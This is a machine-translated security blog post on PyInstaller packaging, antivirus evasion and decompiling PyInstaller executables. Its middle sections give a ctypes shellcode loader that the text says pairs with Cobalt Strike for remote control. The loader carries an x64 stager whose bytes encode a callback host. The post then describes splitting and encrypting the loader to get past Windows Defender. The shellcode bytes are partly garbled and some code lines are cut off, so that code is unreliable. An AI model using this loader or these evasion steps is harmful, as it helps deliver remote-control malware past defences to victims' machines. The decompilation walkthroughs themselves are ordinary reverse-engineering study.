Analysis on the anti killing and reverse of pyinstaller packaged exe

✎ reading instructions

The technical article of crow security is for reference only. The information provided in this article is only for the network security personnel to detect or maintain their own websites and servers (including but not limited to). Do not use the technical data in this article to invade any computer system without authorization. The user shall be responsible for the direct or indirect consequences and losses caused by using the information provided in this article.

Crow security has the right to modify, delete and explain this article. If you reprint or spread this article, you need to ensure the integrity of the article. It cannot be used for other purposes without authorization.

This article was first published by the prophet, which has a long time span. Full text: 11720 words, 110 pictures, the reading time is expected to be 30 minutes.


Common packaging methods for Python 3

Note: Python in this article is python3, and the packaged library is pyinstaller.

The test time span of this paper is relatively long, and the method in this paper may have failed long ago. Thank you for your understanding.

In the current attack and defense drill, you need to do some free kill by yourself in many cases. Here, this paper takes the handy python language as an example to learn the things of python free kill.

Python 3 programs are packaged as exe files. At present, the mainstream methods are roughly divided into the following:

Among them, pyinstaller can directly package py files into an exe, and the effect is relatively good. The other two packaged files are fragmented.

As we all know, the file volume packed by python is relatively large, and it is easy to be killed and identified by soft detection. Even some manufacturers will directly pull any file packed by pyinstaller to report poison. Therefore, pyinstaller and py2exe are discussed here to package exe files. (the tests in this article are only for this test and do not represent the test capabilities of other scenarios.)


File packaging test

2.1 pyinstaller packaging test

2.1.1 simple printout

A script is written here, which is a simple printout (test time: 2021 / 05 / 02):

# -*- encoding: utf-8 -*-
# Time : 2021/05/02 10:14:44
# Author: crow

import os
import time 

while 1:
    print('hello crow')

Use pyinstaller for packaging. You only need to use pip3 install pyinstaller to install pyinstaller.

When packaging, you only need to use pyinstaller -F file name. py.

360 local scanning (the machine is networked, but 360 cloud killing is not used, test time: 2021 / 05 / 02)

It can operate normally.

Tinder scanning (networking, test time: 2021 / 05 / 02)

windows defender is static and normal. Double click it to run, but you will be prompted whether to upload the file to cloud analysis (test time: 2021 / 05 / 02):

Test after uploading virustotal: (test time: 2021 / 05 / 02)

The killing rate is 7 / 68, which is very outrageous, because it is just an ordinary packaged file.

2.1.2 file processing

The following script is mainly an auxiliary script written by yourself when testing DLL hijacking in the past. The content is probably to judge the suffix of DLL file, then extract the DLL suffix file, create a new file and save it.

# -*- encoding: utf-8 -*-
import re 
path = 'D_Safe_Manage.exe.txt'
new_path = path[:-4] + '_dll.txt'
# print(new_path[:-4])

dlls = []
with open(path, 'r') as f:
    for line in f.readlines():
        # print(line)
        dll_name = re.findall(r'C:\\Windows\\SysWOW64(.*?).dll', line)
        # print(dll_name)
        if dll_name != []:
            dll_names = 'C:\Windows\SysWOW64' + str(dll_name[0]) + '.dll'
            # print(dll_names)

with open(new_path, 'w') as f:
    for dll in dlls:
        f.write(dll + '\n')

After the file is packaged, 360, tinder and Windows Defender report poison. (test time: April 29, 2021)

The 360 here uses local antivirus.

Since exe is killed, what if it's just a py file?

Under test:


windows defender did not report poison.

360 is insensitive to python scripts. Tinder and df will detect py, which indicates that some features of the files packaged by pyinstaller may trigger relevant detection rules, and their features have been incorporated into virus features by some av, just like exe programs packaged in easy language will be killed.

exe file after vt test package:

Poison report 56 / 69, very outrageous....

2.2 py2exe packaging test

2.2.1 py2exe installation

Directly use pip3 install py2exe. My local environment is Python 3.6.5 64 bit

2.2.2 py2exe packaging test

At this time, package and test an ordinary file_ (test time: June 16, 2021)

The script output is just a hello world

# -*- encoding: utf-8 -*-
# Time : 2021/04/29 09:17:37
# Author: crow

while True:
    print('hello world')

Then set up a file

# -*- encoding:utf-8 -*-

from distutils.core import setup
import py2exe


options = {
    "py2exe" :
            "compressed" : 1, # compress   
            "optimize" : 2,
            "bundle_files" : 1, # All files are packaged into an exe file  
            "includes" : INCLUDES,
            "dll_excludes" : ["MSVCR100.dll"]

    description = "this is a py2exe test",   
    console = [{"script":''}])

Package Python setup directly_ py2exe

A test will be generated under the dist folder_ Py2.exe file.

After direct operation, only a hello world will be output. There is no need to check and kill locally. Upload vt directly for testing:

VT killing

The killing rate is 6 / 69, which is also very outrageous...

It can be seen that the EXE file packaged by py2exe has also been marked. python packaging is really a dead end.

2.3 summary of packaged documents

The file packaged by py2exe is not a simple EXE file. It cannot be completed directly by an EXE like pyinstaller. The file must be placed in the dist folder and needs to be imported from a third party before it can be executed. Pyinstaller is a better preferred method, so future research will use pyinstaller for packaging.

From the second section, we can see that both pyinstaller and py2exe are more or less killed by some soft marks when packaged as exe, but this does not mean that python has no way to avoid killing. Next, we use other ideas to study how to reverse the files packaged with pyinstaller and pyinstaller.

This paper will not discuss the methods of deserialization, separation and killing free, shelling and so on. Here, only the simplest shellcode loading method is analyzed. I hope this paper can be helpful to the masters.


Pyinstaller -F parameter decompile

Note: the decompilation of exe file here refers to decompilating the files packaged by pyinsteller.

3.1 test environment

Operating system: windows 10

python version: python 3.8.7

Hex Editor: 010 editor

exe decompile tool:

pyc decompiler: uncompyle6

3.2 the pyinstaller packaging program is exe

First write a simple Python 3 script

# -*- encoding: utf-8 -*-
# Time : 2021/06/17 10:45:45
# Author: crow

import time 

while 1:
    print('hello world')

Then package the program as an exe file using pyinstaller

pyinstaller -F

The parameter - F is to package the program as an exe file without generating other files

After packaging, a dist folder will be generated locally, in which there is a packaged exe file.

Try running:

At this time, the program runs normally, and the parsing is decompilation.

3.3 Decompilation_ pyc

Decompile tool for exe packaged for pyinstaller:

pyinstaller extractor can extract the exe file created by pyinstaller in pyc format.

Download link:

Put the decompiled exe and in the same directory and run them directly

python 01_easy.exe

After successful decryption, a xxx.exe will be generated_ Extracted folder.

3.4 pyc to source code

pyinstaller will clear the first 8 bytes of the pyc file when packaging, so you need to add them later. The first four bytes are the python compiled version, and the last four bytes are the timestamp. (four byte magic number, four byte timestamp)

So here you can get the information from the struct file and add it to 01_ Go to the easy file

Therefore, the two files are copied separately here, and the files can be viewed through the hexadecimal viewing tool. winhex can be used under Windows system and 010 editor can be used under mac system

Through comparison, it can be found that struct is better than 01_easy has 8 more bytes (here is just a rough explanation. The specific reason is certainly not obvious. Interested masters can turn to the source code).

Therefore, these bytes can be copied and inserted into 01 here_ Go in easy.

A new file is created here to combine the two:

Then save the file as 01_easy.pyc

After getting the pyc file, it is easier to go to the source code. There are two methods: Online decompilation and uncompyle6

The online decompilation address is:

Online decompilation effect:

You can see that this effect is not very good, and some of the code has not been successfully compiled.

Try uncompyle6. At present, you can use pip to install pip3 install uncompyle6 on Python 3

Then use the command uncompyle6 01 directly_ easy.pyc

You can save the contents of a file into a text

uncompyle6 01_easy.pyc >

After opening:

Get the source code here.


-F -- decompile key parameter

When using pyinstaller, you can use the -- key parameter to encrypt the generated exe. When using this parameter, you need the pycrypto library. You can install it through pip, but there will be some problems during incomplete installation. I won't explain it here and use it directly.

4.1 shellcode in Python

What is shellcode?

In the attack, shellcode is a payload used to exploit software vulnerabilities. Shellcode is a hexadecimal machine code, which is named because it often allows attackers to obtain shells. Shellcode is often written in machine language. After the register eip overflows, a shellcode machine code that can be executed by the CPU can be put in, so that the computer can execute arbitrary instructions of the attacker.

The following code is the most basic version of shellcode. It can be used with Cobalt Strike to realize remote control.

# -*- encoding: utf-8 -*-
# Time : 2021/04/29 11:19:04
# Author: crow

import ctypes
shellcode =  b""
shellcode += b"\x\"

shellcode = bytearray(shellcode)
# Set the return type of VirtualAlloc to ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# Request memory
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# Put in shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
# Create a thread to execute from the first address of the shellcode location
handle = ctypes.windll.kernel32.CreateThread(
# Wait for the thread created above to finish running

Here, the following parameters are directly used for encryption confusion:

pyinstaller -F --key crow123321  --noconsole

The characters after -- key can be customized.

4.2 -- decompile key parameter

Similarly, put the two files together and reverse to get the pyc file

python py_shellcode.exe

Start to report an error, but you can still generate the corresponding folder:

Here we use the same method to test the two files, and save the newly generated file as shellcode_key.pyc

uncompyle6 shellcode_key.pyc

Redirect the file to the py file

After opening, it is found that the effect of the file and the unused -- key parameter is basically unchanged.

--The key parameter only encrypts the dependent library.


Use the key parameter correctly

Correctly use the -- key parameter to encrypt and avoid killing (test time: 2021.06.17)

Generally speaking, the exe packaged in python can be cracked. Even if it is written in python, it can still be cracked. It is only a matter of time, but some slightly effective methods are proposed here (self deception).

5.1 do not use -- key parameter

Encapsulate all the code into a function and reference it in a new file, where PY_ shellcode_ The contents of the file in remain unchanged, but it is encapsulated as a function, which is called by

# -*- encoding: utf-8 -*-
# Time : 2021/06/17 17:12:27
# Author: crow

import ctypes,base64

def shell():
    shellcode =  b""
    shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\d2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x21\x03\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x32\x31\x31\x2e\x35\x35\x2e\x32\x00\x00\x00\x00\x00"

    shellcode = bytearray(shellcode)
    # Set the return type of VirtualAlloc to ctypes.c_uint64
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # Request memory
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    # Put in shellcode
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    string = """Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp"""

    # Create a thread to execute from the first address of the shellcode location
    handle = ctypes.windll.kernel32.CreateThread(
    # Wait for the thread created above to finish running

if __name__ == '__main__':

# -*- encoding: utf-8 -*-
# Time : 2021/06/17 17:00:27
# Author: crow
import ctypes
from py_shellcode import shell 

if __name__ == '__main__':

Execute the script directly:


The online operation is normal. Use to call this file

python goes online normally

Then package the file

First, use pyinstaller to package directly

pyinstaller -F --noconsole

Try to get the pyc file directly under the dist folder

python test.exe

Take out the two files separately and repeat the same operation

uncompyle6 get.pyc

Save the file

You can't find py here_ shell_ The content in fuzzy, where is the file?

We will decompile pyz-00.pyz_ The pyc file was found in the extracted folder.

Decrypt the pyc file directly

uncompyle6 py_shellcode_fuzz.pyc

An error is reported. Here, use 010 editor to analyze the pyc file

Compared with get.pyc, it is found that there are 4 bytes missing here, so it needs to be completed:

Save the file as new_py_shell.pyc

Then decrypt it

uncompyle6 new_py_shell.pyc

Save the file again

uncompyle6  new_py_shell.pyc >

The file is now fully decrypted

At this point, the file will be checked and killed using VT

VT killing

5.2 pyinstaller packages exe with -- key parameter

In the above, the -- key parameter in pyinstaller can encrypt the dependent libraries. Therefore, try to repackage it with the -- key parameter here:

pyinstaller -F --key crowcrow --noconsole

Try to get the pyc file directly under the dist folder

python test.exe

Here is the failure of failure, the success of success!

In the same way, decrypt the file with the arrow below:

Get the file final.pyc

uncompyle6 final.pyc

Here is the same as the one above. It shows from py_ shellcode_ The shell function is called in fuzz. Then go to the same place to find py_ shellcode_ Fuzzy.pyc file.

But you can see py here_ shellcode_ Fuzzy.pyc has been encrypted to py_ shellcode_ Fuzzy.pyc.encrypted file format.

Open the file with 010 editor. Through comparison, it is found that the file has been encrypted and cannot be decrypted with uncompyle6. Of course, the file can still be decrypted, but the decryption cost is higher than the current method.

Double click the original file to test:

It can still be online (test time: June 17, 2021).

No kill effect: Windows defender can pass. (test time: June 17, 2021)

VT killing: (test time: June 17, 2021)

2021.10.29 view: (no killing g)

5.3 summary

As can be seen from the above articles, writing the shellcode loader to a file and then calling it with another script can avoid killing to a certain extent (this method gradually fails over time), but the -- key parameter is encrypted py_ shellcode_ Can't the fuzzy.pyc.encrypted file be untied?

Theoretically, this file can be understood as a file encrypted by blackmail virus. If the key is complex enough, it is still very difficult to restore the file. However, the author of pyinstaller does not write the file dead, and the file can still be restored.


Add key parameter reverse source code

Here, I was lucky to have two simple python reverse questions in a competition. One is that players need to reverse the exe packaged in python. The specific process is as follows: (the competition questions are not shown here, but directly reverse)

6.1 background introduction

A file packaged with the pyinstaller --key -F parameter is used here.

6.2 unpacking on the first floor

Reverse code using

Here you can see that a lot of code is confused and cannot be decrypted directly.

In this folder, you can see the file with key and open it with notepad.

The key here is 17 000000 guess_ Flag where N does not belong to the key value.

Here, the script is used to decrypt the encrypted file. If the key parameter is not used, the file is unencrypted.

Use scripts to decrypt.

#from key import key
import tinyaes
key = "000000guess_flag"
print (key)

f = open('./guess.pyc.encrypted', 'rb')

data =

cipher = tinyaes.AES(key.encode(), data[:16])
output = cipher.CTR_xcrypt_buffer(data[16:])

import zlib
output = zlib.decompress(output)

f = open('./guess.pyc', 'wb')

Then copy the file and struct file for processing

Copy the first line of the struct file, and then copy guess_ All the information of PyC file into a new file.

6.3 uncompyle6 reverse pyc file

uncompyle6 reverse.pyc >

The source code is now available.



This paper mainly makes a super simple reverse analysis of the files packaged by pyinstaller. Here are some small tips that are free from killing. Many materials are also referred to. There are many mistakes. I hope you can criticize and correct them.


reference material

Posted by Vebut on Thu, 25 Nov 2021 23:39:41 -0800